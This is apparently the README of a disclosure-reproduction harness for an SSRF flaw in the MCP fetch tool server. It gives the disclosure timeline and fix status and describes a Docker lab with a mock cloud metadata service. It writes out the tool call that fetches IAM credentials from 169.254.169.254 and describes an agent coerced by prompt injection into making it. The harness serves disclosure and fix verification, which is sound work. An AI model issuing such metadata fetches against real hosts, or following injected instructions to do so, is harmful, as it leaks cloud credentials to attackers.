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README.md

SSRF PoC harness — mcp-server-fetch cloud-metadata reach

End-to-end runnable reproduction of the SSRF in mcp-server-fetch disclosed at modelcontextprotocol/servers#4143 on 2026-05-12, now fixed upstream. The vulnerability was present by default in every shipped release through 2026.8.18, and is fixed by default from 2026.10.10 onward (maintainer PR #5033, merged 2026-10-05). This harness reproduces both states against the real package: the credential-leaking fetch on 2025.4.7, and the refusal on 2026.10.28.

Anyone can verify either state against the real mcp-server-fetch package in ~5 seconds without an AWS account: make demo-full for the vulnerable pre-fix behavior, make demo-fixed-release for the shipped fix.

Companion to poc/dns-rebind/. Both disclosed vulnerability classes (outbound SSRF and inbound DNS rebinding) have a make demo reproduction.

This harness is not embargoed. The vulnerability is public via the upstream GitHub issue; the harness just packages reproduction.

Disclosure timeline

Date Event
2026-05-12 SSRF disclosed as #4143 (affected mcp-server-fetch v2025.4.7)
2026-05-22 Community fix PR #4226 opened by @kgarg2468; independently verified against this harness
2026-07-30 #4143 closed not_planned, consolidated to dormant umbrella #3741
2026-09-10 Latest release at the time (2026.8.18) runtime-verified still vulnerable via this harness
2026-10-05 Maintainer PR #5033 ("refuse private, loopback and metadata addresses by default", fixes #4838) merged to v2/main
2026-10-28 PR #4226 closed unmerged under the repo's new issues-only contribution policy; fix confirmed shipped default-on (below)

The shipped fix (#5033) is the fix shape the original disclosure asked for, and broader. This record does not claim #4143 caused it: #4143 was closed not_planned and #5033 references a different issue (#4838). What it documents is an independent disclosure of the SSRF class, a public reproduction maintained across three vulnerable releases, and a correct prediction of the fix shape, now resolved upstream.

Fix status — RESOLVED (verified 2026-10-28)

States verified end-to-end against this harness:

State Source spec Result Exit
Pre-fix (disclosed version) mcp-server-fetch==2025.4.7 VULNERABLE — fake AKIA-FAKE token returned in the JSON-RPC response 0
Last vulnerable release mcp-server-fetch==2026.8.18 VULNERABLE (runtime-verified 2026-09-10) 0
First fixed release mcp-server-fetch==2026.10.10 guard byte-present (denylist + request hook) —
Current release mcp-server-fetch==2026.10.28 FIX VERIFIED — metadata fetch refused (runtime-verified 2026-10-28) 1

make demo-fixed-release runs the last row (installs the fixed release from PyPI). make demo-full runs the first row (the pre-fix reproduction). make demo-fixed is retained as a historical check against the never-merged PR #4226 branch.

What this demonstrates

mcp-server-fetch <= 2026.8.18 exposes a fetch tool that accepts any URL from an agent tool call and proxies it through httpx with no scheme allowlist, no host denylist, and no protection against RFC-reserved-range addresses. An agent coerced via prompt injection into calling fetch("http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>/") on a cloud-hosted host running IMDSv1 or IMDSv2-Optional will retrieve live IAM credentials.

The fix shipped in 2026.10.10+ (merged via #5033) adds a _NON_PUBLIC_NETWORKS denylist (loopback, RFC 1918, link-local 169.254.0.0/16 covering cloud metadata, 100.64.0.0/10, fc00::/7, fe80::/10, IPv4-mapped and NAT64), checked by _is_public_address() and enforced as an httpx request event hook that runs before every request, redirect hops included. It is on by default; --allow-private-ips opts out. The same fetch call that previously returned credentials now returns:

Error executing tool fetch: Refused to fetch http://169.254.169.254/robots.txt:
169.254.169.254 resolves to 169.254.169.254, which is not a public address.
Start the server with --allow-private-ips to allow private, loopback and
link-local addresses.

The refusal fires on the robots.txt pre-check (same host), so the metadata request never leaves the process.

Architecture

+--------------------------------------------------------+
|  Docker network: metadata-net (subnet 169.254.0.0/16)  |
|                                                        |
|  +-----------------+        +-----------------------+  |
|  |  IMDS mock      |        |  attacker container    | |
|  |  static IP      |        |  - mcp-server-fetch    | |
|  |  169.254.169.254|<-------|    v2025.4.7 (pinned)  | |
|  |  (Python stdlib |  GET   |  - attack.py JSON-RPC  | |
|  |   http.server)  |  -->   |    driver              | |
|  +-----------------+        +-----------------------+  |
+--------------------------------------------------------+

Two containers on a custom 169.254.0.0/16 Docker bridge network. The IMDS mock claims the canonical EC2 metadata IP 169.254.169.254 inside the network and serves fake (but realistic-shaped) IAM credentials.

The attacker container spawns python -m mcp_server_fetch as a stdio subprocess, runs the MCP protocol handshake, and issues a single tools/call against the fetch tool with the IMDS metadata URL. The pre-fix fetch returns the body of the HTTP response. The attacker inspects that body for the AKIA-FAKE literal that the IMDS mock embeds in its fake credential response. If the literal appears, the vulnerability is confirmed and the attacker container exits 0. A fixed release refuses the fetch and the attacker exits 1.

Credential values are obviously fake

The IMDS mock's fake credentials are intentionally non-credible:

{
  "Code": "Success",
  "AccessKeyId": "AKIA-FAKE-NEVER-USE-DEMO",
  "SecretAccessKey": "FAKE-SECRET-KEY-DO-NOT-USE-IN-REAL-CODE",
  "Token": "FAKE-SESSION-TOKEN-POC-DEMO-ONLY-NEVER-USE",
  ...
}

No real cloud account is involved. No real exfiltration happens. The harness confirms vulnerability shape only.

Run it

cd poc/ssrf/

# Fast Python-only probe (no Docker required)
make demo-quick

# Full containerized end-to-end against the vulnerable v2025.4.7 (requires Docker)
make demo-full

# demo-quick, then demo-full
make demo

# Verify the shipped fix against the real fixed PyPI release (2026.10.28)
make demo-fixed-release

# Historical: verify against the never-merged PR #4226 branch
make demo-fixed

# Verify against a specific pip-installable spec (release or git URL)
MCP_FETCH_SPEC="mcp-server-fetch==<version>" MCP_FETCH_VERSION="<label>" \
    docker compose up --build --abort-on-container-exit --exit-code-from attacker

# Cleanup
make clean

Expected output (demo-full, vulnerable)

=================================================================
 mcp-witness SSRF PoC reproduction
=================================================================
 mcp-server-fetch version: 2025.4.7
 target URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/poc-demo-role
 expected outcome (vulnerable):  AKIA-FAKE token returned
 expected outcome (fixed):       URL refused as private/non-public

[1/4] initialize handshake ...
[2/4] tools/list ...
        tools available: ['fetch']
[3/4] tools/call fetch(url='http://169.254.169.254/latest/meta-data/iam/security-credentials/poc-demo-role') ...
[4/4] analyzing response ...

---  response body  ---
{
  "Code": "Success",
  "AccessKeyId": "AKIA-FAKE-NEVER-USE-DEMO",
  ...
}
--- (end response) ----

=================================================================
 PoC RESULT: VULNERABLE
=================================================================
 The fake AKIA token ('AKIA-FAKE') appears in the response.
 mcp-server-fetch retrieved cloud-metadata credentials via the
 agent tool surface with no scheme/host validation.

 disclosure: modelcontextprotocol/servers#4143 (closed not_planned)
 fix:        shipped default-on in mcp-server-fetch 2026.10.10+ (via #5033)

Expected output (demo-fixed-release, fixed — verified 2026-10-28)

=================================================================
 mcp-witness SSRF PoC reproduction
=================================================================
 mcp-server-fetch version: 2026.10.28
 target URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/poc-demo-role
 ...

---  response body  ---
Error executing tool fetch: Refused to fetch http://169.254.169.254/robots.txt:
169.254.169.254 resolves to 169.254.169.254, which is not a public address.
Start the server with --allow-private-ips to allow private, loopback and
link-local addresses.
--- (end response) ----

=================================================================
 PoC RESULT: FIX VERIFIED
=================================================================

Exit codes

Useful for CI / monitoring. The Docker compose --exit-code-from attacker flag surfaces these to make demo.

Code Meaning
0 VULNERABLE — AKIA-FAKE came back in the JSON-RPC response
1 FIX VERIFIED — the refusal message came back
2 INFRASTRUCTURE FAILURE — couldn't spawn mcp-server-fetch, couldn't reach IMDS, etc
3 UNEXPECTED — response matched neither pattern

quick_probe.py accepts --exit-nonzero-on-vuln to flip the convention for monitoring use (exit 1 on vuln, 0 on no-vuln).

Layout

poc/ssrf/
├── Makefile             demo / demo-quick / demo-full / demo-fixed-release / demo-fixed / clean
├── README.md            this file
├── docker-compose.yml   custom 169.254.0.0/16 network + service definitions
├── quick_probe.py       pure-Python no-Docker probe (~3 seconds, no install)
├── imds/                mock cloud metadata service container
│   ├── Dockerfile       python:3.11-slim + healthcheck
│   └── server.py        http.server-based mock; serves fake credentials
└── attacker/            agent-side reproduction container
    ├── Dockerfile       python:3.11-slim + mcp-server-fetch pinned
    └── attack.py        stdio JSON-RPC driver + response classifier

Why this matters

The original disclosure was verified on EC2 with real IAM credentials in docs/audit-runbook-ec2-ssrf-verification.md. That runbook is still the right tool for verifying against real cloud infrastructure. This harness is the right tool for everyone else: anyone reading the disclosure record who wants to confirm either the vulnerable shape or the shipped fix can do so with make demo-full / make demo-fixed-release instead of standing up AWS infrastructure.

The pairing of poc/dns-rebind/ + poc/ssrf/ makes the mcp-witness reproduction-harness collection a coherent artifact independent of the scanner itself. Each disclosed vulnerability class has a one-command reproduction.

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